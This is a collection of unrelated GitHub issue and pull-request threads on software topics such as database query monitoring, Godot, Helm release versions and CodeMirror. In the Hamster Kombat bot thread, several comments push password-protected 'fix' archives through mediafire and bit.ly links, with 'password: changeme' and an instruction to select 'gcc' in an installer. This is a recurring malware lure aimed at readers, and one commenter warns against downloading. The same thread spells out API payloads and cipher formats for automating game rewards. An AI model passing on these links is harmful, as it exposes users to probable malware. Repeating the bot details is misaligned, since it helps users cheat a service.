[Proposal] Add query monitor detail in FE.

Doris is absent of query monitor. It is not convenient when analyzing the query workload.
A query monitor should cover such features.
1. It can exhibit running queries at present.
2. If can analysis the query latency(mean/99 percentile) at defined interval.
    For example, DBA will want to about the mean latency between 11:00 and 11:05.
3. It can observe the query profile of queries over a period of time.
    For example, how much resource a query consumed is critical for analysis the hot spot.

To address the above problem, Doris should support query details for outside monitor to collect and analyze.

QP
create table query_detail (
    query_id varchar(100),
    start_time datetime,
    end_time datetime,
    latency int comment "unit is milliseconds",
    state varchar(20) comment "RUNNING/FINISHED/FAILED"
)
duplicate key (query_id)
distributed by hash(query_id) buckets 10;

Can't this meet your needs?
http://doris.incubator.apache.org/master/zh-CN/extending-doris/audit-plugin.html

Can't this meet your needs?
http://doris.incubator.apache.org/master/zh-CN/extending-doris/audit-plugin.html

It can only analysis the history query. But not analysis the current query profile to get the hotspot.

You means profile of current running queries?
But in your proposal, you only talk about the finished query audit?

You means profile of current running queries?
But in your proposal, you only talk about the finished query audit?

All finished query comes from current query. If current query is send to MySQL, and it finished, it will be history queries.

I probably understand what you mean, but I am not sure whether the specific plan is feasible. In your proposal, only the query about latency is mentioned, which can be known through historical results. But what runtime state do we need for the query being executed? And how to collect these status?
Because I understand that most of the runtime state is at the BE node, if all are exposed through the FE node, will it cause the FE node to become a bottleneck?

I probably understand what you mean, but I am not sure whether the specific plan is feasible. In your proposal, only the query about latency is mentioned, which can be known through historical results. But what runtime state do we need for the query being executed? And how to collect these status?
Because I understand that most of the runtime state is at the BE node, if all are exposed through the FE node, will it cause the FE node to become a bottleneck?

Another field like profile can be added easily in following development.
As you say, the profile is now in BE node, only report upon finishing query, So I not add the
profile field now. If query lasts for a long time, It will be better to report at interval.
I will only store a fixed number(10000) query detail in FE memory. If one query has 100K, It wil
consume 1G memory which is acceptable. Considering QPS is 1000, Query Monitor collect
detail at 10 seconds can cover the query details statistics.
Query Monitor will collect the query detail at interval. If restart FE, It has non-sense, because
there is no query in system. The problem is Query Monitor outside is not connected to FE, it will
lose some detail. I think it's also OK, because some queries takes no consideration have a little
thing.


Fix property_list_changed_notify causing full inspector rebuild

fixes #44354
Instead of fully rebuilding the inspector only all EditorPropertys get updated. This may cause unwanted side effects, if properties get added or removed and relied on property_list_changed_notify causing a rebuild. I don't know any use cases for such behaviour. Thinking of it, I may have breaken situations with _get_property_list. Tests are welcome.

Okay, so this is causing a regression...
What if we replace the current dedicated property update handling with an update for all properties and don't change the behaviour of property_list_changed_notifiy?
It would change the behaviour to behaviour that is expected by many users and at the same time don't regress stuff (I hope).

Could #44982 help with the slider issue? On master that PR is not relevant anymore, but I'm still thinking of backporting it to 3.x.
That PR helps with some String property issues, by avoiding full updates of the inspector and updating only modified properties instead.

I just noticed your PR. I don't think so, because you would still deselect and have to release LMB and press LMB on the slider again.
I did another approach with #49035 where no manual call would be necessary.

Superseded by https://github.com/godotengine/godot/pull/49035.


New minigame got added.

I have been getting this error
Unable to get daily keys mini game.
It's probably due to the new minigame

Yeah🤑.
I think this mini-game has the potential to earn a lot of coins when the hexagon area is completely filled.

I have been getting this error
Unable to get daily keys mini game.
It's probably due to the new minigame

Ive seen the same error also.

this is because the mini game has been moved to the playgrounds section, the request parameter for launching the game has been changed, and the response received when requesting config has been changed.

Tiles - is a new mini-game with currency

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/xs3e15yonljh4bk/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."

Download hxxps://bit.ly/3MjP129 password: changeme In the installer menu, select "gcc."

@masterking32

Download https://bit.ly/3MjP129 password: changeme In the installer menu, select "gcc."

Don't download this

Where can I change the code to make everything work?
thanks

anyone has a bot for the new Hexa minigame?

Mabe soon
On Tue, 27 Aug 2024, 10:46 pm Mihaitafox11, @.***>
wrote:

anyone has a bot for the new Hexa minigame?
—
Reply to this email directly, view it on GitHub
https://github.com/masterking32/MasterHamsterKombatBot/issues/236#issuecomment-2313114308,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/BKHG3I7K3GORO33GVLDKZKTZTSX5BAVCNFSM6AAAAABNF6JV5SVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMJTGEYTIMZQHA
.
You are receiving this because you commented.Message ID:
@.***>

Here's a clue. The cipher for the new game is unique and does not match between accounts. If you play the game and get the cipher, then use it - the limit of coins that can be taken from it ~200k, I think it is the limit per day. How else to get the key, I do not know yet.

Here's a clue. The cipher for the new game is unique and does not match between accounts. If you play the game and get the cipher, then use it - the limit of coins that can be taken from it ~200k, I think it is the limit per day. How else to get the key, I do not know yet.

no, i got morethan 200k coins

When receiving the cipher, what was the score in the game?

Here's a clue. The cipher for the new game is unique and does not match between accounts. If you play the game and get the cipher, then use it - the limit of coins that can be taken from it ~200k, I think it is the limit per day. How else to get the key, I do not know yet.

172800 is max points count, there is score coefficient which is 469, so you can get 172800 * 469 = 81043200 coins

i found out this for now config response now have dailyKeysMiniGames instead of dailyKeysMiniGame:
{
    "dailyCipher": {
        "cipher": "QlJ4PTg==",
        "bonusCoins": 1000000,
        "isClaimed": false,
        "remainSeconds": 16722
    },
    "feature": ["airdrop_connect_ton_wallet"],
    "dailyKeysMiniGames": {
        "Candles": {
            "id": "Candles",
            "startDate": "2024-08-26T20:00:00.000Z",
            "levelConfig": "- a - - c c.- a b b b d.- a 0 0 e d.s s f - e d.v - f g h h.v x x g - -",
            "youtubeUrl": "https://www.youtube.com/@HamsterKombat_Official",
            "bonusKeys": 1,
            "isClaimed": false,
            "totalSecondsToNextAttempt": 360,
            "remainSecondsToGuess": -120704.249,
            "remainSeconds": 20321.046,
            "remainSecondsToNextAttempt": -120404.249,
            "remainPoints": 0
        },
        "Tiles": {
            "id": "Tiles",
            "startDate": "2024-08-27T11:00:00.000Z",
            "levelConfig": "",
            "youtubeUrl": "",
            "bonusKeys": 0,
            "maxPoints": 172800,
            "isClaimed": false,
            "totalSecondsToNextAttempt": 86400,
            "remainSecondsToGuess": -1,
            "remainSeconds": 74321.046,
            "remainSecondsToNextAttempt": 0,
            "remainPoints": 172800
        }
    }
}

payload for https://api.hamsterkombatgame.io/clicker/start-keys-minigame
{
  "miniGameId": "Candles"
}

payload for https://api.hamsterkombatgame.io/clicker/claim-daily-keys-minigame
{
  "miniGameId": "Candles",
  "cipher": "XXXXXXX"
}

Cipher for new mini-game formed like this: l.cipher + '|' + bt().account_id + '|' + l.game_id + '|' + l.score + '|' + l.sig

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

i ran the new version but still get minigames error

i ran the new version but still get minigames error

me too

you should call get-promos request before start minigame
and ip request moved to start. after get init json (before authByTelegram request)

@miladesign make a PR?

@masterking32 did u add this game yet? bc im not able to obtain this hex puzzle thingy

@masterking32 did u add this game yet? bc im not able to obtain this hex puzzle thingy

it's already working. unlike the puzzle game(candles) where you get to claim a key, hexa puzzle (tiles) allows you to claim coins.

is it possible to replace bearer token with query? I can't get bearer token, because hamster bot won't run when I open it on desktop or web.

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


Please add Code license

Hi  thanks for providing the code in github. As I don't know other ways to reach you , I am raising this as an issue. But my query is can we use your code for testing and if we use it for any competitions.may be adding a license info will benefit people like me. Thank you

Thanks for bringing this issue to my attention.
I've added a MIT license to the software library.

Thank you very much.


Diagnostic of methane emissions from wetlands

Short description of the diagnostic
Diagnostic to analyse wetland methane. The methane emissions (CMOR variable wetlandCH4) were requested for CMIP6 by C4MIP and PMIP (Paleoclimate) projects. This was work done in CRESCENDO project for ESMValTool v1, which was not published (AFAIK) earlier. Work was carried out mostly at FMI by Jarmo Mäkelä, and I am now rewriting it for ESMValTool v2 within NICEST2 project. I already have a portion of it working outside ESMValTool GitHub which I did as a way to  learn the tool. But somethings are not so nice using the conda/mamba installation to I would like to move it here.
Branch and pull request
Branch: https://github.com/ESMValGroup/ESMValTool/tree/NICEST2_wetland_ch4_emissions
PR:

It seems I need to be added to ESMValGroup organisation to add branches. Could someone add me there?

Hi @tommibergman, great to have you on board :tada: Please write an email to Axel Lauer to get added to the orga (I'll send you a message on slack).

Should I make a separate issue for cmorizing of the observational data?

I am doing a extract region for north of latitude X. Here the latitude X is defined in the recipe, how is it possible to retrieve this value for caption? Or is the only way to check the latitudes of resulting cube?


envoy: upgrade to 1.23.0

Summary
Upgrade to envoy 1.23.0
Related issues

https://github.com/pomerium/internal/issues/931

Checklist

[ ] reference any related issues
[ ] updated docs
[ ] updated unit tests
[ ] updated UPGRADING.md
[ ] add appropriate tag (improvement / bug / etc)
[x] ready for review

holding it off by a few days to let bugfixes in first.

blocked by https://github.com/envoyproxy/envoy/issues/22261

2.3.1 Fixes this and can be merged.

https://github.com/pomerium/pomerium/pull/3599


hidden-* is missing (isn't equal to introducing d-*)

Thumbs down for excluding the hidden-* classes.
The opposite of display: none isn't display:block.
The hidden-* classes will hide all inline, inline-block and other display properties, while the newly introduced d-* classes force display:block.
hidden-* should be reintroduced in my opinion.

Your understanding of the display classes is inaccurate. .d-none, .d-inline, .d-flex, etc do not force any other display value.


chore: add npm run build:shared to postinstall on root package

Without this you could run into eslint/ts errors on importing the package (until you manually build the package or run the dev script for it).

Makes sense! My only note is to now remove the build step from any CI workflows where we're already installing dependencies, otherwise it will be built twice.

good point! just removed them.


Static variables in local scope

class Test
{
	public static function testStaticScope()
	{
		static somevar;

		let somevar = "static var";

		var_dump(somevar);
	}
}

causes Zephir\ParseException: Syntax error in
zephir commit 37630eead506e1113ea8c83dbc733ed4d28c5edd

---
Want to back this issue? **[Post a bounty on it!](https://www.bountysource.com/issues/13344430-static-variables-in-local-scope?utm_campaign=plugin&utm_content=tracker%2F280146&utm_medium=issues&utm_source=github)** We accept bounties via [Bountysource](https://www.bountysource.com/?utm_campaign=plugin&utm_content=tracker%2F280146&utm_medium=issues&utm_source=github).

Static variables aren't supported by Zephir

Will it be supported or I have to find a way out?

@valVk What does it mean static var? Maybe const?

@ovr that's something completely different
http://php.net/manual/en/language.variables.scope.php#language.variables.scope.static

@steffengy o0, thanks


When I have multiple monitors connected, it will only appear on top of one monitor.

Fine I’ll do it.

Done. 5b7cfda


Removed LoggingClient global from scheduler.

Fixes #2035
Signed-off-by: Brandon Forster<EMAIL_ADDRESS>

Codecov Report

Merging #2152 into master will decrease coverage by 0.33%.
The diff coverage is 10.54%.

@@            Coverage Diff             @@
##           master    #2152      +/-   ##
==========================================
- Coverage    41.1%   40.77%   -0.34%
==========================================
  Files         182      182
  Lines       12386    12484      +98
==========================================
- Hits         5091     5090       -1
- Misses       6998     7097      +99
  Partials      297      297

Impacted Files
Coverage Δ

internal/support/scheduler/interval_action.go
28.57% <0%> (+0.35%)
:arrow_up:

internal/support/scheduler/router.go
0% <0%> (ø)
:arrow_up:

cmd/support-scheduler/main.go
0% <0%> (ø)
:arrow_up:

internal/support/scheduler/schedule.go
0% <0%> (ø)
:arrow_up:

internal/support/scheduler/loader.go
0% <0%> (ø)
:arrow_up:

internal/support/scheduler/init.go
0% <0%> (ø)
:arrow_up:

internal/support/scheduler/utils.go
15.21% <0%> (ø)
:arrow_up:

internal/support/scheduler/rest_intervalaction.go
100% <100%> (ø)
:arrow_up:

internal/support/scheduler/rest_interval.go
100% <100%> (ø)
:arrow_up:

internal/support/scheduler/schedulecontext.go
66.66% <25%> (ø)
:arrow_up:

... and 1 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 4c3d3e8...50f7f86. Read the comment docs.

recheck


Container App Revisions become unmanageable after updates (via API or portal)

Container Apps Reports Timeout on LRO despite apparently actually deploying and starting the containers in the revision.

API Call returns:
Message="Failed to provision revision for container app 'acctest-capp-220531111719259950'. Error details: Operation expired."

The revision being “created” is the rev4 noted displayed as Provisioned, and the container is started successfully as shown in the App Insights log entry:
“[REDACTED]“,RestAPI,,,"5/31/2022, 10:27:29.835 AM",,,"5/31/2022, 10:26:45.775 AM","1653992805.77502"," * Running on all addresses (<IP_ADDRESS>)",stderr,F,"docker.io/jackofallops/azure-containerapps-python-acctest:v0.0.1","acctest-capp-220531111719259950--rev4-6779d76698-6xlmx",5aa611e0a9b2d86717621376de2336d6a21e43fbe6e677189c2828ea4098869b,"11f5c016-0ac7-4a67-b21a-488523b502c0","acctest-cont-220531111719259950","acctest-capp-220531111719259950",,"agreeableground-ab0a055d","ContainerAppConsoleLogs_CL",

However, the service reports "provisioningState”: “Failed”.
The Update configuration (specifically a configuration containing the minimum required properties plus a revisionSuffix), when sent as a Create operation, works correctly. Additionally, if it is the first update to a newly created resource, it also works correctly. If applied as a subsequent update, it fails and the service cannot be updated further, even via the Portal, e.g.

API Version: 2022-03-01

I am experiencing the same issues ☝ when deploying updates to a containerapp using bicep and github actions.

Is this on Microsoft's roadmap yet? As it is a new service with a lot of potential users migrating from Container Instances I think this deserves to be prioritised.

Hi People, please there are any update?
We want to use this feature but without the terraform module, we cannot start to use it.

Same here. Is this isolated to certain users or how are others using it in production in this state?

Hi all - Whilst this issue is still outstanding, we've worked together with the service team to establish a workaround to prevent this issue until such time as a long term solution can be found/implemented, so the initial support for this is now in final review stage for the provider in https://github.com/hashicorp/terraform-provider-azurerm/pull/18008

There are multiple themes going on here. Just so there is no confusion

Terraform support - there is support for this and its tracked here https://github.com/hashicorp/terraform-provider-azurerm/pull/18008
Timeout when deleting a secret, this is what the core of this issue is about, is being tracked here https://github.com/microsoft/azure-container-apps/issues/395


Helm version for v3.15.0 reports v3.15.0-rc.2

$ tar xzvf helm-v3.15.0-linux-amd64.tar.gz
linux-amd64/
linux-amd64/README.md
linux-amd64/LICENSE
$ linux-amd64/helm version
version.BuildInfo{Version:"v3.15.0-rc.2", GitCommit:"c4e37b39dbb341cb3f716220df9f9d306d123a58", GitTreeState:"clean", GoVersion:"go1.22.3"}

@mattfarina could you take an review? thanks so much.

Confirmed, seeing the same on the darwin arm64 artifacts

We've temporary pinned 3.14.4 for GitHub Actions / Azure DevOps. Please drop a confirmation that it's expected behaviour for us to unlock updates of Helm. Thanks in advance.

https://github.com/actions/runner-images/pull/9867

This is interesting because the both tags point to the same commit. When this was created, the release tag was added and CI did the build. So, how do we get CI to handle the tags properly?

If I look at the build-cross make target the version comes from ...
git describe --tags --abbrev=0 --exact-match 2>/dev/null

When I run this in Linux environments, I get the release version. I'm not able to duplicate it.
But, the wrong version shows up in the release job and the release job checkout out the exact right tag.
We need to update the build job (GHA workflow) to make sure the VERSION environment variable is the tag, I think?

@mattfarina maybe we can rerelease?

Uhm isn't that even worse that homebrew ships a different binary?

@TheMeier this isn't unusual in open source.

@TheMeier open source is about the source code rather than the builds. For example, pretty much everyone uses curl. The curl projects does not distribute binaries. Everyone gets them from their OS, package manager, etc. It's not just acceptable but expected to have different builds of the same source.

The pull request at https://github.com/helm/helm/pull/13059 provides a simple fix. The tag is passed in as the explicit version rather than being automatically detected.

3.15.1 is out and it contains the proper version. Problem fixed.


the name should equals, then assure the resource exists

Purpose of the pull request
the logical judgement for file existing or not may be error
Brief change log
the name should equals, then assure the resource exists
Verify this pull request
This pull request is code cleanup without any test coverage.
resolve #6373

hi, thx for contribution, please resolve conflicting files

thank you, I will resolve conflicting files soon.

The resource was upload by user, so it's userId was the user's id who uploaded it. The the checkResourceExists will not take effect when user the 'userId 0'.

I didn't look at it, but userId is not needed in this、. There is a problem with the design of this method. Maybe you can try to modify it.

I will look on it, I think we can check the resource exists or not without the useeid condition.
---Original---
From: @.>
Date: Wed, Sep 29, 2021 11:39 AM
To: @.>;
Cc<EMAIL_ADDRESS>Subject: Re: [apache/dolphinscheduler] the name should equals, then assure the resource exists (#6374)
The resource was upload by user, so it's userId was the user's id who uploaded it. The the checkResourceExists will not take effect when user the 'userId 0'.
I didn't look at it, but userId is not needed in this、. There is a problem with the design of this method. Maybe you can try to modify it.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.
Triage notifications on the go with GitHub Mobile for iOS or Android.

cloose by #6409


how to use widgets

I read the following guide: https://patternplate.github.io/doc/docs/reference/widgets?guides-enabled=true&patterns-enabled=true&reference-enabled=true
I am still not sure how to use this without taking a look at the source code.
I think this could be documented better. Maybe it is possible to add a link (look at the source for this page)
What I'm missing:

code examples have no filenames (hard to reference)
The demo shows buttons but there is no link/hint why these are shown. (naming conflict "code, button" ?)
a link to the source code of that exact example (probably the most important part)
The main information is IMHO missing. (it explains what widgets are (in an abstract) but the rest remains a mystery

All in all, it remains a mystery to me.
Screenshot for reference:

Naming issue src/code => button

Pattern Demo
<PatternDemo /> displays the demo for the pattern referenced via id.
const React = require("react");
const {PatternDemo} = require("@patternplate/widgets");

module.exports = () => <PatternDemo id="src/code" />;

const React = require("react");
const {PatternDemo} = require("@patternplate/widgets");

module.exports = () => <PatternDemo id="button" />;

This should be documented

id = pkg.name
codeblocks need the ```widget lang-flag

@pixelass Could you send a PR for the button/code misnomer? Agreed on the docs being a bit lacking.

I can prepare a PR to resolve the naming conflict.


create xexpy function with x = 1 typestable

This is another experiment PR akin to #472 and #470

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 90.05%. Comparing base (21fb991) to head (191021c).

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #473      +/-   ##
==========================================
+ Coverage   90.02%   90.05%   +0.02%
==========================================
  Files          57       57
  Lines         742      744       +2
==========================================
+ Hits          668      670       +2
  Misses         74       74

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Throw SSLPeerUnverifiedException when host verification fails, instead of IOException

As proposed in #1360.

Nice. Please complete our contributors agreement, then I'll merge!

@swankjesse done.

Thanks!


Improve Quickstart container images (Node.js, Python, Ruby, C#, Java)

This looks good to me from a container practices standpoint, but I don't have context on the existing Dockerfile decisions so holding off on an official LGTM.


Fix ownership issues in RouteEntryImplBase

Just realized that RouteEntryImplBase still refers by reference to VirtualHostImpl, and VirtualHostImpl by reference to ConfigImpl. This is not safe w/ RDS. Need to fix this.

Nevermind the current code is safe. I forget how I implemented this. I will add more comments so it's more obvious to ... me. :)


Indent is not detected in TabsAndIndentsVisitor if the method starts with an in-line comment.

Discovered while running TabsAndIndentsVisitor on Netflix: Eureka.
class A {
    /* in-line comment */ void method() {
        int val = 0;
    }
}

This is caused by a condition in the visitSpace where:
        if (!space.getLastWhitespace().contains("\n") || parent == null) {
            return space;
        }

An indent is never applied to the space, since it doesn't contain a \n. So the block-end is set incorrectly.
Handling this case and cases like it is not trivial, and seems reasonable to put aside until the community really needs it.


port SimJulia.jl 'school' example and add description of that to the docs

This example would be particular useful to have in ConcurrentSim.jl documentation: school

I start using ConcurrentSim.jl as part of my implementation of Julia-based discrete simulation project. Since it is first time I am doing such kind of code I am frequently using more friendly docs from SimJulia.jl project: https://simjuliajl.readthedocs.io/en/stable/welcome.html
I'd like to suggest to add more documentation into ConcurrentSim.jl to 'Topical Guides/Events' section of documentation. At glance it looks like the task of taking old SimJulia.jl docstring and put it into ConcurrentSim.jl, making sure that example code is actually works.

Hi, asmirnov69! You are right, but there are a few issues: The old docs you are looking at are for a very old version of SimJulia, long before SimJulia was renamed to ConcurrentSim. These docs were discarded due to changes that were made to SimJulia before any name changes. They were discarded because internal changes in SimJulia made them incorrect. ConcurrentSim did not delete any docs that were available at the time of transition.
Thus, some of the examples you are relying on might be randomly incorrect (some of them will still be fine). The original developer did not have the bandwidth to translate all examples.
Most importantly though, I completely agree with you that we need more docs. We are a bit short staffed though, so it would not happen in the next few months. If you would like to help this open source project, I would be eager to help you contribute documentation and examples.

yes, i will try to contribute docs and examples. to move ahead with this particular issue and possibly more. I want concentrate on school example since that is very close to what I am doing right now.

wonderful! That would be greatly appreciated


Best game addon yet!

Excellent addition! Works great 👍
Please capitalize the 'A' in asteroids for the app id in the .fam. I'd open a pull request but I'm lazy and don't want to fork it for one letter.

I'll do! Thanks


Animation not working on multi level nesting

I'm expanding my RecyclerView on 2 group levels currently, on the first level the group gets animated on expansion correctly, but on the 2nd level the group doesn't animate its children. The children are just displayed per se, without animation, like you would transition from GONE to VISIBLE mode.
I've noticed also that on my 2nd level groups, the method onCheckCanExpandOrCollapseGroup always has a groupPosition of 0. Could this be related to why its not animating, but just displaying children?
I should also mention that the multi level recycler view is in swipeRefreshLayout.

It looks similar to this, where on the 2nd level the children are not animated.

@rok5ek Hi. This library does not support multi level expand feature for now. How do you implement it?

@h6ah4i Hey, yeah I though so :/. The way this is currently implemented, is by creating a childView that actually acts as a RecyclerView with a RecyclerViewExpandableItemManager. This solution is not very nice im aware. Maybe in the future there could be a method called treeDepth so the TreeView would be supported. I think if the data structure would be represented as a tree with nodes than the UI implementation also wouldn't be an issue, since all the animations get triggered by notifyItemsRangeInserted. Depending on the treeDepth size, there should be as much onCreateNodeViewHolder methods as there are node levels.
Do you have any other proposition on how should I handle this currently?

@rok5ek I understood what you are trying for. I think it would be worth try the TellH's library instead of mine;
https://github.com/TellH/RecyclerTreeView
P.S. Unfortunately, I do not have a plan to support multi level expandable feature in near future 😞

@h6ah4i Oh thats awesome, thank you for the link, I was searching for something like that, but I couldn't find it where a RecyclerView would be used. Thank you again! :)


Extreme player bounce using Spidertron

So my friend had a trap for me (Press f to use a launchpad kind) & so I got stuck between 2 angled bouncers (to get out of the trap I should've just rotated one of them). However bright idea was to bring my spidertron near & ride it to get out but instead the spidertron "bounced" back & forth the 2 bouncers. I tried to move the spidertron using the controller but it still didn't work, so I got off & then suddenly I was flinging far away from the bouncer until I was flung at a point FAR into the distance 🤣 (into a behemoth worm nest o_o)
Luckily we had a teleporter building mod so I put one down & went back to our base easily :)
Though I guess this is a bug or a warning to those who will try it & don't have a teleporter :P
How far I went:

lmao 😆

On a more serious note, thanks for the description, it helps a lot to know how an issue happens. I'll try it myself and see what's up. The player launcher is actually the oldest part of the mod and isn't as "modern" as the rest of the mod so it's more likely to do stuff like this


New issues design

This PR is based on #321 and the new issue design.

@samuelpearce we still need to improve descriptions. If you open the preview link and navigate to any repository, you will see the full list of issues and how they are displayed now.
@Joozty I might need your help with showing the actual list of issues. @mcancellieri we might need to change the API to fit the current design.

@viktor-yakubiv ok let me know here or through the slack when you need any of my help.🙂

Can you please rebase to the current master?  🙂


Kadane's algorithm implementation

Can I contribute a .cpp file explaining kadane's algorithm implementation and required comments for the maximum contiguous subarray sum problem. I saw the maximum contiguous subarray sum problem on the site . So people can see it's solution on the repo.

Nope, Kadane algorithm is rare and there's not much value in adding that when there are implementations online easily searchable.

okay!


Add a Script extension that works with Director

Allows us to do
emit<Script>(std::make_unique<LimbsSequence>(), "KickRight.yaml");

Then that'll load the script and emit a LimbsSequence for that script.
Future work: cache scripts

Please don't call it NewScript.

Do you have a suggestion? :P maybe we need a director branch already after all :weary:

because he's busy teaching johanne maths
:stuck_out_tongue:


can this code use on Lllama 2 70b?

Hey @FishSeeker ,  in theory, the scripts should also work for the 70b version. However, we do not have the hardware to verify that. Let us know if you have problems using it for LLama 2 70b.


Add clarification about email submissions from GCC tenants.

It would also be helpful if this page noted that admins in GCC tenants must open a case to submit email to Microsoft for analysis. The 'Import' box on this page is what I'm referring to: https://learn.microsoft.com/en-us/microsoft-365/security/office-365-security/submissions-admin?view=o365-worldwide. Thank you.

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: b36a6f3e-632a-bf8e-4293-7eae6bd6e68f
Version Independent ID: b36a6f3e-632a-bf8e-4293-7eae6bd6e68f
Content: (False Positives) How to handle legitimate emails getting blocked from delivery using Microsoft Defender for Office 365 - Office 365
Content Source: microsoft-365/security/office-365-security/step-by-step-guides/how-to-handle-false-positives-in-microsoft-defender-for-office-365.md
Service: microsoft-365-security
Sub-service: mdo
GitHub Login: @MSFTTracyP
Microsoft Alias: tracyp

@ScyberSocii Thank you for your feedback. We have added an important note to the document which states "In U.S. Government organizations (Microsoft 365 GCC, GCC High, and DoD), admins can't use the Submissions page in the Microsoft 365 Defender portal to submit messages to Microsoft. Instead, admins in those organizations need to open a support case to submit messages."
Hope this helps!
Thanks
Sri

@msbemba Thank you very much for the contribution and sharing this explanation. @ScyberSocii Hope this comment is helpful for you. If you see a documentation update is required, please feel free to open an issue for the same. We proceed here to close it. Thanks for taking out some time to open the issue. Appreciate and encourage you to do the same in future also.


[ENH] Auto-Toggle Light & Dark Themes

🚀 Enhancement Request
Is your enhancement request related to a problem? Please describe.

No

Describe the solution you'd like

Auto-Toggle Light & Dark Themes

Describe alternatives you've considered

Using UI based auto mode

Additional context

Fresh Start on Dashboard


Downloaded pdf is blank after page 83

So I Click 'Download PDF' on the webpage of this Microsoft 365 Docs,

But when I open the downloaded pdf on my computer(surface pro 7), it shows blank after page 83 (Title: Use the Office365 Content Delivery Network (CDN) with SharePoint Online), no matter which software I use, (Microsoft Edge browser,foxit pdf reader and xodo docs, even Word)

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: c8cfe2b0-c14d-1083-7c88-a91e58593cfa
Version Independent ID: 2d15076c-0dcd-6bd6-e0fb-f8ac5ffd0091
Content: Use Office 365 Content Delivery Network (CDN) with SharePoint Online - Microsoft 365 Enterprise
Content Source: microsoft-365/enterprise/use-microsoft-365-cdn-with-spo.md
Service: o365-administration
GitHub Login: @kelleyvice-msft
Microsoft Alias: kvice

@EricKY26 Thank you for your feedback. I'm able to replicate this at my end. We will fix this in the backend and let you know.
Thanks
Sri

@msbemba Thank you. Then I'll wait for the good news :)

@LauraWi Please help us in resolving this issue. Thanks

@LauraWi Gentle reminder. Please.

Issue opened with docs platform team.

Platform team has declined to fix.


Not all copper is meltable in a crucible

Forge version: <IP_ADDRESS>6
Mod version: 0.27.1
Other mods: http://tinyurl.com/wwpack
Not all copper seems to be meltable in a crucible. Specifically when attempting to melt Tinkers' Construct Copper I was not able to get it to go into either crucible.

Yep, got the issue with Mekanism too.  The workaround is nice, but a proper fix would be really cool.

@ZeekDaGeek can you reconfirm this bug?

This bug seems to be fixed in the newest versions.


Check C and R footprints

Double check the footprints of all capacitors and resistors to make sure they match what parts I've actually ordered.

Capacitors are 0603, resistors are 0805. Needs to be updated...

Done, all is 0805 now.


Feat/storage disk

This PR implements #641 by creating a separate disk for Longhorn replication on all compute nodes.
Notable changes:

storageDiskSize field in the input manifest is now optional and is only used for compute node pools. (The default value is 50)
OS disk for all k8s nodes is now 100GB by default
OS disk for all LB nodes is now 30GB by default

cc @MiroslavRepka
FYI I had a look into both OCI and GCP and for what it was worth I implemented predictable mounting for GCP.
I haven't actually tested it and apparently the CI didn't run for that commit either, so bear that in mind please. but I'm quite confident it's going to be alright, the docs on it were quite clear :rocket:
as for OCI, they have their own special thing ("consistent device paths") that allows you to have the attached disk available under a certain path in /dev/oracleoci/<whatever> but it's not exactly as simple and configurable as the GCP solution: the <whatever> part does not really allow arbitrary input, you have to choose from a list of predefined available options, which wouldn't be such a problem, if it were at least available in the TF provider, which, to the best of my knowledge, it is not. I saw it in the GUI though... :see_no_evil:
so, OCI remains unresolved, I tried to give it a shot but the above mentioned was not the way to go.
refs:

GCP: https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/compute_attached_disk#device_name
OCI: https://docs.oracle.com/en-us/iaas/Content/Block/References/consistentdevicepaths.htm

The OCI had some limitations, where the volumes (boot/storage) could not be 30GB as in other providers (50GB min). Should we change the other LB boot disk + change the docs?

The OCI had some limitations, where the volumes (boot/storage) could not be 30GB as in other providers (50GB min). Should we change the other LB boot disk + change the docs?

Up to you Miro, I think either way is fine (secretive anomaly or changing all the others to match)


Add a LICENSE

Basically, we'll see what pyhf does and do what they do.

pyhf uses Apache 2.0 so going with that.
https://github.com/scikit-hep/pyhf/blob/master/LICENSE
https://www.apache.org/licenses/LICENSE-2.0


SPM Support.

Thank for this demo/lib.
Anyway to get Swift Package Manager support on this Library.
Things get wacky with cocoapods and SPM both involved in the project.
Trying to keep development streamlined.
Thank You.

Hi @xpnewmedia, thanks for your comment. Could you please join the Telnyx Dev Slack channel and post this request? https://joinslack.telnyx.com/

@xpnewmedia SPM is supported by iOS SDK at the moment


[merge] Scroll jumps back while in 3-way merge

In https://jsfiddle.net/yamj2yhg/1/ if one scrolls quickly while hovered over the left editor, the editor will sometimes jump back to a prior scroll position.

Which browser, which platform, and how are you scrolling? (Using touch pad scroll on Chrome 55 Linux, I couldn't get this to happen.)

It's a bit jumpy in my Firefoy 51 on Linux with touch pad scrolling, but the scrolling ends where I would expect it to.

This was CrOS 56 beta using touchpad. We've seen this issue on other
machines before for some time but this was the first simple repro I've
seen. I'll check on the behavior of this example on Mac and Linux.
On Feb 5, 2017 12:50 PM, "Marijn Haverbeke"<EMAIL_ADDRESS>wrote:

Which browser, which platform, and how are you scrolling? (Using touch pad
scroll on Chrome 55 Linux, I couldn't get this to happen.)
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/codemirror/CodeMirror/issues/4546#issuecomment-277548132,
or mute the thread
